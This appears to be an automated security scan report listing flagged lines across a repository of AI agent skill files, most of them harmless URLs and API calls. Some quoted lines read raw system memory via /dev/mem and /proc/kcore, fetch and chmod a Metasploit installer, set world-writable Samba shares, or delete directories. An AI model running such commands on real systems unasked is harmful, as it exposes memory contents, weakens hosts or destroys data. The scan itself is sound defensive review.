// Constants const API_BASE_URL = "https://api.example.com/v1"; - Network accessline 601
const API_BASE_URL = "https://api.example.com/v1"; - Access to secretsline 707
[Credential-related source omitted] - Access to secretsline 708
[Credential-related source omitted] - Access to secretsline 719
[Credential-related source omitted] - Access to secretsline 720
[Credential-related source omitted] - Network accessline 737
const port = parseInt(process.env.PORT || '3000'); app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); - Network accessline 738
app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); }); - Network accessline 739
console.error(`MCP server running on http://localhost:${port}/mcp`);
skills/mcp-builder/reference/python_mcp_server.md
- Network accessline 42
**For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 43
`https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 233
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 234
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 235
async with httpx.AsyncClient() as client: - Network accessline 251
# Good: Async network request async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: - Network accessline 252
async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: response = await client.get(f"{API_URL}/resource/{resource_id}") - Network accessline 253
async with httpx.AsyncClient() as client: - Network accessline 258
# Bad: Synchronous request def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 259
def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks return response.json() - Network accessline 260
response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 352
# Constants API_BASE_URL = "https://api.example.com/v1" - Network accessline 353
API_BASE_URL = "https://api.example.com/v1" - Network accessline 382
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 383
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 384
async with httpx.AsyncClient() as client: - Access to secretsline 511
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted]
skills/mcp-builder/scripts/connections.py
- Executable scriptline 1
Executable file
skills/mcp-builder/scripts/evaluation.py
skills/memory-forensics/SKILL.md
- Dangerous shell operationline 51
sudo insmod lime.ko "path=/tmp/memory.lime format=lime" - Dangerous shell operationline 54
sudo dd if=/dev/mem of=memory.raw bs=1M - Dangerous shell operationline 57
sudo cp /proc/kcore memory.elf - Dangerous shell operationline 63
sudo ./osxpmem -o memory.raw - Network accessline 92
# Install symbol tables (Windows) # Download from https://downloads.volatilityfoundation.org/volatility3/symbols/ - Network accessline 93
# Download from https://downloads.volatilityfoundation.org/volatility3/symbols/
skills/memory-safety-patterns/resources/implementation-playbook.md
skills/memory-systems/SKILL.md
- Network accessline 2
name: memory-systems description: "Design short-term, long-term, and graph-based memory architectures" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/memory-systems" - Network accessline 3
description: "Design short-term, long-term, and graph-based memory architectures" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/memory-systems" risk: safe - Network accessline 4
source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/memory-systems"
skills/metasploit-framework/SKILL.md
- Network accessline 21
# Metasploit comes pre-installed on Kali Linux # For other systems: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall - Network accessline 22
# For other systems: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall - Network accessline 23
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall - Dangerous shell operationline 28
sudo systemctl start postgresql - Dangerous shell operationline 29
sudo msfdb init - Dangerous shell operationline 477
| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
skills/microservices-patterns/resources/implementation-playbook.md
- Network accessline 185
def __init__(self): self.order_service_url = "http://order-service:8000" - Network accessline 186
self.order_service_url = "http://order-service:8000" - Network accessline 187
self.payment_service_url = "http://payment-service:8001" self.inventory_service_url = "http://inventory-service:8002" self.http_client = httpx.AsyncClient(timeout=5.0) - Network accessline 188
self.inventory_service_url = "http://inventory-service:8002" - Network accessline 189
self.http_client = httpx.AsyncClient(timeout=5.0) - Network accessline 251
def __init__(self, base_url: str): self.base_url = base_url self.client = httpx.AsyncClient( - Network accessline 252
self.base_url = base_url self.client = httpx.AsyncClient( timeout=httpx.Timeout(5.0, connect=2.0), - Network accessline 253
self.client = httpx.AsyncClient( - Network accessline 254
timeout=httpx.Timeout(5.0, connect=2.0), - Network accessline 255
limits=httpx.Limits(max_keepalive_connections=20) - Network accessline 274
# Usage payment_client = ServiceClient("http://payment-service:8001") - Network accessline 275
payment_client = ServiceClient("http://payment-service:8001")
skills/microsoft-azure-webjobs-extensions-authentication-events-dotnet/SKILL.md
- Network accessline 118
private static async Task<UserProfile> GetUserProfileAsync(string userId) { var response = await _httpClient.GetAsync($"https://api.example.com/users/{userId}"); - Network accessline 119
{ var response = await _httpClient.GetAsync($"https://api.example.com/users/{userId}"); response.EnsureSuccessStatusCode(); - Network accessline 120
var response = await _httpClient.GetAsync($"https://api.example.com/users/{userId}"); - Network accessline 436
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Microsoft.Azure.WebJobs.Extensions.AuthenticationEvents | - Network accessline 437
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Microsoft.Azure.WebJobs.Extensions.AuthenticationEvents | | Custom Extensions Overview | https://learn.microsoft.com/entra/identity-platform/custom-extension-overview | - Network accessline 438
| NuGet Package | https://www.nuget.org/packages/Microsoft.Azure.WebJobs.Extensions.AuthenticationEvents | - Network accessline 439
| Custom Extensions Overview | https://learn.microsoft.com/entra/identity-platform/custom-extension-overview | - Network accessline 440
| Token Issuance Events | https://learn.microsoft.com/entra/identity-platform/custom-extension-tokenissuancestart-setup | - Network accessline 441
| Attribute Collection Events | https://learn.microsoft.com/entra/identity-platform/custom-extension-attribute-collection | - Network accessline 442
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/entra/Microsoft.Azure.WebJobs.Extensions.AuthenticationEvents |
skills/microsoft-teams-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/miro-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/mixpanel-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/mobile-design/SKILL.md
skills/mobile-design/decision-trees.md
skills/mobile-design/mobile-backend.md
- Network accessline 215
"latest_version": "2.3.0", "force_update": false, "update_url": "https://apps.apple.com/...", - Network accessline 216
"force_update": false, "update_url": "https://apps.apple.com/...", "feature_flags": { - Network accessline 217
"update_url": "https://apps.apple.com/...", - Access to secretsline 257
[Credential-related source omitted]
skills/mobile-design/mobile-navigation.md
- Network accessline 253
Examples: ├── myapp://product/123 ├── https://myapp.com/product/123 (Universal/App Link) - Network accessline 254
├── myapp://product/123 ├── https://myapp.com/product/123 (Universal/App Link) ├── myapp://checkout?promo=SAVE20 - Network accessline 255
├── https://myapp.com/product/123 (Universal/App Link)
skills/mobile-design/scripts/mobile_audit.py
skills/mobile-developer/SKILL.md
- Access to secretsline 139
[Credential-related source omitted]
skills/mobile-security-coder/SKILL.md
skills/modern-javascript-patterns/resources/implementation-playbook.md
- Network accessline 335
// Async function always returns a Promise async function fetchUser(id) { const response = await fetch(`/api/users/${id}`); - Network accessline 336
async function fetchUser(id) { const response = await fetch(`/api/users/${id}`); const user = await response.json(); - Network accessline 337
const response = await fetch(`/api/users/${id}`); - Network accessline 386
// Top-level await (ES2022) const config = await fetch('/config.json').then(r => r.json()); - Network accessline 387
const config = await fetch('/config.json').then(r => r.json()); - Network accessline 391
for (let i = 0; i < retries; i++) { try { return await fetch(url); - Network accessline 392
try { return await fetch(url); } catch (error) { - Network accessline 393
return await fetch(url); - Network accessline 787
let page = 1; while (true) { const response = await fetch(`${url}?page=${page}`); - Network accessline 788
while (true) { const response = await fetch(`${url}?page=${page}`); const data = await response.json(); - Network accessline 789
const response = await fetch(`${url}?page=${page}`); - Network accessline 906
- **MDN Web Docs**: https://developer.mozilla.org/en-US/docs/Web/JavaScript - Network accessline 907
- **JavaScript.info**: https://javascript.info/ - Network accessline 908
- **You Don't Know JS**: https://github.com/getify/You-Dont-Know-JS - Network accessline 909
- **Eloquent JavaScript**: https://eloquentjavascript.net/ - Network accessline 910
- **ES6 Features**: http://es6-features.org/
skills/monday-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/monorepo-management/resources/implementation-playbook.md
- Network accessline 74
// turbo.json { "$schema": "https://turbo.build/schema.json", - Network accessline 75
{ "$schema": "https://turbo.build/schema.json", "globalDependencies": ["**/.env.*local"], - Network accessline 76
"$schema": "https://turbo.build/schema.json", - Dangerous shell operationline 117
"clean": "turbo run clean && rm -rf node_modules"
skills/moodle-external-api-development/SKILL.md
- Network accessline 403
# Get token first curl -X POST "https://yourmoodle.com/login/token.php" \ - Network accessline 404
curl -X POST "https://yourmoodle.com/login/token.php" \ - Network accessline 409
# Call your API curl -X POST "https://yourmoodle.com/webservice/rest/server.php" \ - Network accessline 410
curl -X POST "https://yourmoodle.com/webservice/rest/server.php" \ - Network accessline 583
- [Moodle External API Documentation](https://moodledev.io/docs/5.2/apis/subsystems/external/functions) - Network accessline 584
- [Moodle Coding Style](https://moodledev.io/general/development/policies/codingstyle) - Network accessline 585
- [Moodle Database API](https://moodledev.io/docs/5.2/apis/core/dml) - Network accessline 586
- [Web Services API Documentation](https://moodledev.io/docs/5.2/apis/subsystems/external)
skills/mtls-configuration/SKILL.md
- Network accessline 358
- [Istio Security](https://istio.io/latest/docs/concepts/security/) - Network accessline 359
- [SPIFFE/SPIRE](https://spiffe.io/) - Network accessline 360
- [cert-manager](https://cert-manager.io/) - Network accessline 361
- [Zero Trust Architecture (NIST)](https://www.nist.gov/publications/zero-trust-architecture)
skills/multi-agent-patterns/SKILL.md
- Network accessline 2
name: multi-agent-patterns description: "Master orchestrator, peer-to-peer, and hierarchical multi-agent architectures" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/multi-agent-patterns" - Network accessline 3
description: "Master orchestrator, peer-to-peer, and hierarchical multi-agent architectures" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/multi-agent-patterns" risk: safe - Network accessline 4
source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/multi-agent-patterns" - Network accessline 249
External resources: - [LangGraph Documentation](https://langchain-ai.github.io/langgraph/) - Multi-agent patterns and state management - Network accessline 250
- [LangGraph Documentation](https://langchain-ai.github.io/langgraph/) - Multi-agent patterns and state management - Network accessline 251
- [AutoGen Framework](https://microsoft.github.io/autogen/) - GroupChat and conversational patterns - Network accessline 252
- [CrewAI Documentation](https://docs.crewai.com/) - Hierarchical agent processes - Network accessline 253
- [Research on Multi-Agent Coordination](https://arxiv.org/abs/2308.00352) - Survey of multi-agent systems
skills/n8n-code-python/SKILL.md
- Network accessline 2
name: n8n-code-python description: "Write Python code in n8n Code nodes. Use when writing Python in n8n, using _input/_json/_node syntax, working with standard library, or need to understand Python limitations in n8n Code nodes." source: "h - Network accessline 3
description: "Write Python code in n8n Code nodes. Use when writing Python in n8n, using _input/_json/_node syntax, working with standard library, or need to understand Python limitations in n8n Code nodes." source: "https://github.com/czlo - Network accessline 4
source: "https://github.com/czlonkowski/n8n-skills/tree/main/skills/n8n-code-python" - Possible obfuscationline 585
decoded = base64.b64decode(encoded) - Network accessline 744
### n8n Documentation - Code Node Guide: https://docs.n8n.io/code/code-node/ - Network accessline 745
- Code Node Guide: https://docs.n8n.io/code/code-node/ - Network accessline 746
- Python in n8n: https://docs.n8n.io/code/builtin/python-modules/
skills/n8n-mcp-tools-expert/SKILL.md
- Network accessline 2
name: n8n-mcp-tools-expert description: "Expert guide for using n8n-mcp MCP tools effectively. Use when searching for nodes, validating configurations, accessing templates, managing workflows, or using any n8n-mcp tool. Provides tool sele.. - Network accessline 3
description: "Expert guide for using n8n-mcp MCP tools effectively. Use when searching for nodes, validating configurations, accessing templates, managing workflows, or using any n8n-mcp tool. Provides tool sele..." source: "https://github. - Network accessline 4
source: "https://github.com/czlonkowski/n8n-skills/tree/main/skills/n8n-mcp-tools-expert" - Access to secretsline 511
[Credential-related source omitted]
skills/n8n-node-configuration/SKILL.md
- Network accessline 2
name: n8n-node-configuration description: "Operation-aware node configuration guidance. Use when configuring nodes, understanding property dependencies, determining required fields, choosing between get_node detail levels, or learning commo - Network accessline 3
description: "Operation-aware node configuration guidance. Use when configuring nodes, understanding property dependencies, determining required fields, choosing between get_node detail levels, or learning commo..." source: "https://github. - Network accessline 4
source: "https://github.com/czlonkowski/n8n-skills/tree/main/skills/n8n-node-configuration" - Network accessline 71
{ "method": "GET", "url": "https://api.example.com" - Network accessline 72
"method": "GET", "url": "https://api.example.com" // sendBody not shown (GET doesn't have body) - Network accessline 73
"url": "https://api.example.com" - Network accessline 78
{ "method": "POST", "url": "https://api.example.com", - Network accessline 79
"method": "POST", "url": "https://api.example.com", "sendBody": true, // Now visible! - Network accessline 80
"url": "https://api.example.com", - Network accessline 150
{ "method": "POST", "url": "https://api.example.com/create", - Network accessline 151
"method": "POST", "url": "https://api.example.com/create", "authentication": "none" - Network accessline 152
"url": "https://api.example.com/create", - Network accessline 169
{ "method": "POST", "url": "https://api.example.com/create", - Network accessline 170
"method": "POST", "url": "https://api.example.com/create", "authentication": "none", - Network accessline 171
"url": "https://api.example.com/create", - Network accessline 185
{ "method": "POST", "url": "https://api.example.com/create", - Network accessline 186
"method": "POST", "url": "https://api.example.com/create", "authentication": "none", - Network accessline 187
"url": "https://api.example.com/create", - Network accessline 510
{ "method": "GET", "url": "https://api.example.com/users", - Network accessline 511
"method": "GET", "url": "https://api.example.com/users", "authentication": "predefinedCredentialType", - Network accessline 512
"url": "https://api.example.com/users", - Network accessline 529
{ "method": "POST", "url": "https://api.example.com/users", - Network accessline 530
"method": "POST", "url": "https://api.example.com/users", "authentication": "none", - Network accessline 531
"url": "https://api.example.com/users",
skills/nanobanana-ppt-skills/SKILL.md
- Network accessline 2
name: nanobanana-ppt-skills description: "AI-powered PPT generation with document analysis and styled images" source: "https://github.com/op7418/NanoBanana-PPT-Skills" - Network accessline 3
description: "AI-powered PPT generation with document analysis and styled images" source: "https://github.com/op7418/NanoBanana-PPT-Skills" risk: safe - Network accessline 4
source: "https://github.com/op7418/NanoBanana-PPT-Skills" - Network accessline 22
For more information, see the [source repository](https://github.com/op7418/NanoBanana-PPT-Skills).
skills/nestjs-expert/SKILL.md
- Network accessline 35
- Solution priority: 1) Refactor module structure, 2) Use forwardRef, 3) Adjust provider scope - Tools: `nest generate module`, `nest generate service` - Resources: [Nest.js Modules](https://docs.nestjs.com/modules), [Providers](https://doc - Network accessline 37
- Resources: [Nest.js Modules](https://docs.nestjs.com/modules), [Providers](https://docs.nestjs.com/providers) - Network accessline 42
- Solution priority: 1) Fix decorator configuration, 2) Add validation, 3) Implement interceptors - Tools: `nest generate controller`, class-validator, class-transformer - Resources: [Controllers](https://docs.nestjs.com/controllers), [Vali - Network accessline 44
- Resources: [Controllers](https://docs.nestjs.com/controllers), [Validation](https://docs.nestjs.com/techniques/validation) - Network accessline 49
- Solution priority: 1) Fix execution order, 2) Handle async properly, 3) Implement error handling - Execution order: Middleware → Guards → Interceptors (before) → Pipes → Route handler → Interceptors (after) - Resources: [Middleware](https - Network accessline 51
- Resources: [Middleware](https://docs.nestjs.com/middleware), [Guards](https://docs.nestjs.com/guards) - Network accessline 56
- Solution priority: 1) Fix test module setup, 2) Mock dependencies correctly, 3) Handle async tests - Tools: `@nestjs/testing`, Jest, Supertest - Resources: [Testing](https://docs.nestjs.com/fundamentals/testing) - Network accessline 58
- Resources: [Testing](https://docs.nestjs.com/fundamentals/testing) - Network accessline 64
- TypeORM: `@nestjs/typeorm`, entity decorators, repository pattern - Mongoose: `@nestjs/mongoose`, schema decorators, model injection - Resources: [TypeORM](https://docs.nestjs.com/techniques/database), [Mongoose](https://docs.nestjs.com/t - Network accessline 66
- Resources: [TypeORM](https://docs.nestjs.com/techniques/database), [Mongoose](https://docs.nestjs.com/techniques/mongodb) - Network accessline 71
- Solution priority: 1) Configure Passport strategy, 2) Implement guards, 3) Handle JWT properly - Tools: `@nestjs/passport`, `@nestjs/jwt`, passport strategies - Resources: [Authentication](https://docs.nestjs.com/security/authentication), - Network accessline 73
- Resources: [Authentication](https://docs.nestjs.com/security/authentication), [Authorization](https://docs.nestjs.com/security/authorization) - Network accessline 78
- Solution priority: 1) Setup ConfigModule, 2) Add validation, 3) Handle async config - Tools: `@nestjs/config`, Joi validation - Resources: [Configuration](https://docs.nestjs.com/techniques/configuration) - Network accessline 80
- Resources: [Configuration](https://docs.nestjs.com/techniques/configuration) - Network accessline 85
- Solution priority: 1) Implement exception filters, 2) Configure logger, 3) Handle all errors - Tools: Built-in Logger, custom exception filters - Resources: [Exception Filters](https://docs.nestjs.com/exception-filters), [Logger](https:// - Network accessline 87
- Resources: [Exception Filters](https://docs.nestjs.com/exception-filters), [Logger](https://docs.nestjs.com/techniques/logger) - Access to secretsline 216
[Credential-related source omitted] - Network accessline 481
### Core Documentation - [Nest.js Documentation](https://docs.nestjs.com) - Network accessline 482
- [Nest.js Documentation](https://docs.nestjs.com) - Network accessline 483
- [Nest.js CLI](https://docs.nestjs.com/cli/overview) - Network accessline 484
- [Nest.js Recipes](https://docs.nestjs.com/recipes) - Network accessline 486
### Testing Resources - [Jest Documentation](https://jestjs.io/docs/getting-started) - Network accessline 487
- [Jest Documentation](https://jestjs.io/docs/getting-started) - Network accessline 488
- [Supertest](https://github.com/visionmedia/supertest) - Network accessline 489
- [Testing Best Practices](https://github.com/goldbergyoni/javascript-testing-best-practices) - Network accessline 491
### Database Resources - [TypeORM Documentation](https://typeorm.io) - Network accessline 492
- [TypeORM Documentation](https://typeorm.io) - Network accessline 493
- [Mongoose Documentation](https://mongoosejs.com) - Network accessline 495
### Authentication - [Passport.js Strategies](http://www.passportjs.org) - Network accessline 496
- [Passport.js Strategies](http://www.passportjs.org) - Network accessline 497
- [JWT Best Practices](https://tools.ietf.org/html/rfc8725) - Network accessline 509
{ provide: CONFIG_OPTIONS, useValue: { apiUrl: 'https://api.example.com' } - Network accessline 510
provide: CONFIG_OPTIONS, useValue: { apiUrl: 'https://api.example.com' } } - Network accessline 511
useValue: { apiUrl: 'https://api.example.com' }
skills/network-101/SKILL.md
- Dangerous shell operationline 49
sudo apt update && sudo apt install apache2 - Dangerous shell operationline 52
sudo systemctl start apache2 - Dangerous shell operationline 53
sudo systemctl enable apache2 - Dangerous shell operationline 56
echo "<html><body><h1>Test Page</h1></body></html>" | sudo tee /var/www/html/index.html - Network accessline 58
# Verify service curl http://localhost - Network accessline 59
curl http://localhost - Dangerous shell operationline 66
sudo ufw allow 80/tcp - Dangerous shell operationline 80
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ - Dangerous shell operationline 85
sudo a2enmod ssl - Dangerous shell operationline 86
sudo systemctl restart apache2 - Dangerous shell operationline 93
sudo nano /etc/apache2/sites-available/default-ssl.conf - Dangerous shell operationline 96
sudo a2ensite default-ssl - Dangerous shell operationline 97
sudo systemctl reload apache2 - Network accessline 109
# Check certificate curl -kv https://192.168.1.1 - Network accessline 110
curl -kv https://192.168.1.1 - Dangerous shell operationline 121
sudo apt install snmpd snmp - Dangerous shell operationline 124
sudo nano /etc/snmp/snmpd.conf - Dangerous shell operationline 131
sudo systemctl restart snmpd - Dangerous shell operationline 172
sudo apt install samba - Dangerous shell operationline 175
sudo mkdir -p /srv/samba/share - Dangerous shell operationline 176
sudo chmod 777 /srv/samba/share - Dangerous shell operationline 179
sudo nano /etc/samba/smb.conf - Dangerous shell operationline 189
sudo systemctl restart smbd - Dangerous shell operationline 219
sudo tail -f /var/log/apache2/access.log - Dangerous shell operationline 222
sudo tail -f /var/log/apache2/error.log - Network accessline 253
# Check HTTP curl -I http://target - Network accessline 254
curl -I http://target - Network accessline 256
# Check HTTPS curl -kI https://target - Network accessline 257
curl -kI https://target - Dangerous shell operationline 291
sudo apt install apache2 - Dangerous shell operationline 292
sudo systemctl start apache2 - Dangerous shell operationline 295
cat << 'EOF' | sudo tee /var/www/html/login.html - Dangerous shell operationline 308
sudo ufw allow 80/tcp - Dangerous shell operationline 315
sudo apt install snmpd - Dangerous shell operationline 316
echo "rocommunity public" | sudo tee -a /etc/snmp/snmpd.conf - Dangerous shell operationline 317
sudo systemctl restart snmpd - Dangerous shell operationline 327
sudo apt install samba - Dangerous shell operationline 328
sudo mkdir /srv/samba/anonymous - Dangerous shell operationline 329
sudo chmod 777 /srv/samba/anonymous
skills/nextjs-app-router-patterns/resources/implementation-playbook.md
- Network accessline 73
// app/page.tsx - Server Component by default async function getProducts() { const res = await fetch('https://api.example.com/products', { - Network accessline 74
async function getProducts() { const res = await fetch('https://api.example.com/products', { next: { revalidate: 3600 }, // ISR: revalidate every hour - Network accessline 75
const res = await fetch('https://api.example.com/products', { - Network accessline 133
// components/products/ProductList.tsx - Server Component async function getProducts(filters: ProductFilters) { const res = await fetch( - Network accessline 134
async function getProducts(filters: ProductFilters) { const res = await fetch( `${process.env.API_URL}/products?${new URLSearchParams(filters)}`, - Network accessline 135
const res = await fetch( - Network accessline 500
// No cache (always fresh) fetch(url, { cache: 'no-store' }) - Network accessline 501
fetch(url, { cache: 'no-store' }) - Network accessline 503
// Cache forever (static) fetch(url, { cache: 'force-cache' }) - Network accessline 504
fetch(url, { cache: 'force-cache' }) - Network accessline 506
// ISR - revalidate after 60 seconds fetch(url, { next: { revalidate: 60 } }) - Network accessline 507
fetch(url, { next: { revalidate: 60 } }) - Network accessline 509
// Tag-based invalidation fetch(url, { next: { tags: ['products'] } }) - Network accessline 510
fetch(url, { next: { tags: ['products'] } }) - Network accessline 541
- [Next.js App Router Documentation](https://nextjs.org/docs/app) - Network accessline 542
- [Server Components RFC](https://github.com/reactjs/rfcs/blob/main/text/0188-server-components.md) - Network accessline 543
- [Vercel Templates](https://vercel.com/templates/next.js)
skills/nodejs-backend-patterns/resources/implementation-playbook.md
- Access to secretsline 398
[Credential-related source omitted] - Access to secretsline 843
[Credential-related source omitted] - Access to secretsline 864
[Credential-related source omitted] - Access to secretsline 870
[Credential-related source omitted] - Network accessline 1016
- **Node.js Best Practices**: https://github.com/goldbergyoni/nodebestpractices - Network accessline 1017
- **Express.js Guide**: https://expressjs.com/en/guide/ - Network accessline 1018
- **Fastify Documentation**: https://www.fastify.io/docs/ - Network accessline 1019
- **TypeScript Node Starter**: https://github.com/microsoft/TypeScript-Node-Starter
skills/notebooklm/.gitignore
skills/notebooklm/AUTHENTICATION.md
- Executable scriptline 1
Executable file - Network accessline 14
Playwright/Patchright has a known bug ([#36139](https://github.com/microsoft/playwright/issues/36139)) where **session cookies** (cookies without an `Expires` attribute) do not persist correctly when using `launch_persistent_context()` with - Network accessline 37
But **Python's Playwright API doesn't support this** ([#14949](https://github.com/microsoft/playwright/issues/14949)): - Access to secretsline 117
[Credential-related source omitted] - Network accessline 137
- [microsoft/playwright#36139](https://github.com/microsoft/playwright/issues/36139) - Session cookies not persisting - Network accessline 138
- [microsoft/playwright#14949](https://github.com/microsoft/playwright/issues/14949) - Storage state with persistent context - Network accessline 139
- [StackOverflow Question](https://stackoverflow.com/questions/79641481/) - Session cookie persistence issue
skills/notebooklm/CHANGELOG.md
skills/notebooklm/LICENSE
- Executable scriptline 1
Executable file
skills/notebooklm/README.md
- Executable scriptline 1
Executable file - Network accessline 5
**Let [Claude Code](https://github.com/anthropics/claude-code) chat directly with NotebookLM for source-grounded answers based exclusively on your uploaded documents** - Network accessline 7
[](https://www.python.org/) - Network accessline 8
[](https://www.anthropic.com/news/skills) - Network accessline 9
[](https://github.com/PleasePrompto/notebooklm-mcp) - Network accessline 10
[](https://github.com/PleasePrompto/notebooklm-skill) - Network accessline 14
[Installation](#installation) • [Quick Start](#quick-start) • [Why NotebookLM](#why-notebooklm-not-local-rag) • [How It Works](#how-it-works) • [MCP Alternative](https://github.com/PleasePrompto/notebooklm-mcp) - Network accessline 22
**This skill works ONLY with local [Claude Code](https://github.com/anthropics/claude-code) installations, NOT in the web UI.** - Network accessline 24
The web UI runs skills in a sandbox without network access, which this skill requires for browser automation. You must use [Claude Code](https://github.com/anthropics/claude-code) locally on your machine. - Network accessline 30
When you tell [Claude Code](https://github.com/anthropics/claude-code) to "search through my local documentation", here's what happens: - Network accessline 38
This Claude Code Skill lets [Claude Code](https://github.com/anthropics/claude-code) chat directly with [**NotebookLM**](https://notebooklm.google/) — Google's **source-grounded knowledge base** powered by Gemini 2.5 that provides intellige - Network accessline 75
# 2. Clone this repository cd ~/.claude/skills git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm - Network accessline 77
git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm - Network accessline 113
Go to [notebooklm.google.com](https://notebooklm.google.com) → Create notebook → Upload your docs: - Network accessline 147
This is a **Claude Code Skill** - a local folder containing instructions and scripts that Claude Code can use when needed. Unlike the [MCP server version](https://github.com/PleasePrompto/notebooklm-mcp), this runs directly in Claude Code w - Access to secretsline 269
[Credential-related source omitted] - Dangerous shell operationline 347
rm -rf .venv - Network accessline 377
This skill is inspired by my [**NotebookLM MCP Server**](https://github.com/PleasePrompto/notebooklm-mcp) and provides an alternative implementation as a Claude Code Skill: - Network accessline 382
If you need: - **Persistent sessions** → Use the [MCP Server](https://github.com/PleasePrompto/notebooklm-mcp) - Network accessline 383
- **Persistent sessions** → Use the [MCP Server](https://github.com/PleasePrompto/notebooklm-mcp) - Network accessline 384
- **Multiple tool support** (Codex, Cursor) → Use the [MCP Server](https://github.com/PleasePrompto/notebooklm-mcp) - Network accessline 398
# Get started in 30 seconds cd ~/.claude/skills git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm - Network accessline 399
cd ~/.claude/skills git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm # Open Claude Code: "What are my skills?" - Network accessline 400
git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm - Network accessline 408
Built as a Claude Code Skill adaptation of my [NotebookLM MCP Server](https://github.com/PleasePrompto/notebooklm-mcp)
skills/notebooklm/SKILL.md
- Executable scriptline 1
Executable file - Network accessline 14
Trigger when user: - Mentions NotebookLM explicitly - Shares NotebookLM URL (`https://notebooklm.google.com/notebook/...`) - Network accessline 15
- Mentions NotebookLM explicitly - Shares NotebookLM URL (`https://notebooklm.google.com/notebook/...`) - Asks to query their notebooks/documentation - Network accessline 16
- Shares NotebookLM URL (`https://notebooklm.google.com/notebook/...`) - Network accessline 93
# Add notebook to library (ALL parameters are REQUIRED!) python scripts/run.py notebook_manager.py add \ --url "https://notebooklm.google.com/notebook/..." \ - Network accessline 94
python scripts/run.py notebook_manager.py add --url "https://notebooklm.google.com/notebook/..." - Network accessline 95
--url "https://notebooklm.google.com/notebook/..." \ - Network accessline 123
# Query with notebook URL directly python scripts/run.py ask_question.py --question "..." --notebook-url "https://..." - Network accessline 124
python scripts/run.py ask_question.py --question "..." --notebook-url "https://..." - Access to secretsline 198
[Credential-related source omitted]
skills/notebooklm/references/api_reference.md
- Executable scriptline 1
Executable file - Network accessline 29
# With direct URL python scripts/run.py ask_question.py --question "..." --notebook-url "https://..." - Network accessline 30
python scripts/run.py ask_question.py --question "..." --notebook-url "https://..." - Network accessline 50
# Then add with discovered info python scripts/run.py notebook_manager.py add \ --url "https://notebooklm.google.com/notebook/..." \ - Network accessline 51
python scripts/run.py notebook_manager.py add --url "https://notebooklm.google.com/notebook/..." - Network accessline 52
--url "https://notebooklm.google.com/notebook/..." \ - Network accessline 57
# Direct add (when you know the content) python scripts/run.py notebook_manager.py add \ --url "https://notebooklm.google.com/notebook/..." \ - Network accessline 58
python scripts/run.py notebook_manager.py add --url "https://notebooklm.google.com/notebook/..." - Network accessline 59
--url "https://notebooklm.google.com/notebook/..." \ - Access to secretsline 191
[Credential-related source omitted]
skills/notebooklm/references/troubleshooting.md
- Executable scriptline 1
Executable file - Network accessline 146
# Add notebook if missing python scripts/run.py notebook_manager.py add \ --url "https://notebooklm.google.com/..." \ - Network accessline 147
python scripts/run.py notebook_manager.py add --url "https://notebooklm.google.com/..." - Network accessline 148
--url "https://notebooklm.google.com/..." \ - Network accessline 208
# Use proxy if needed export HTTP_PROXY=http://proxy:port - Network accessline 209
export HTTP_PROXY=http://proxy:port - Network accessline 210
export HTTPS_PROXY=http://proxy:port - Dangerous shell operationline 226
rm ~/.claude/skills/notebooklm/data/library.json - Dangerous shell operationline 291
rm -rf .venv - Dangerous shell operationline 307
rm -rf .venv
skills/notebooklm/references/usage_patterns.md
- Executable scriptline 1
Executable file - Network accessline 29
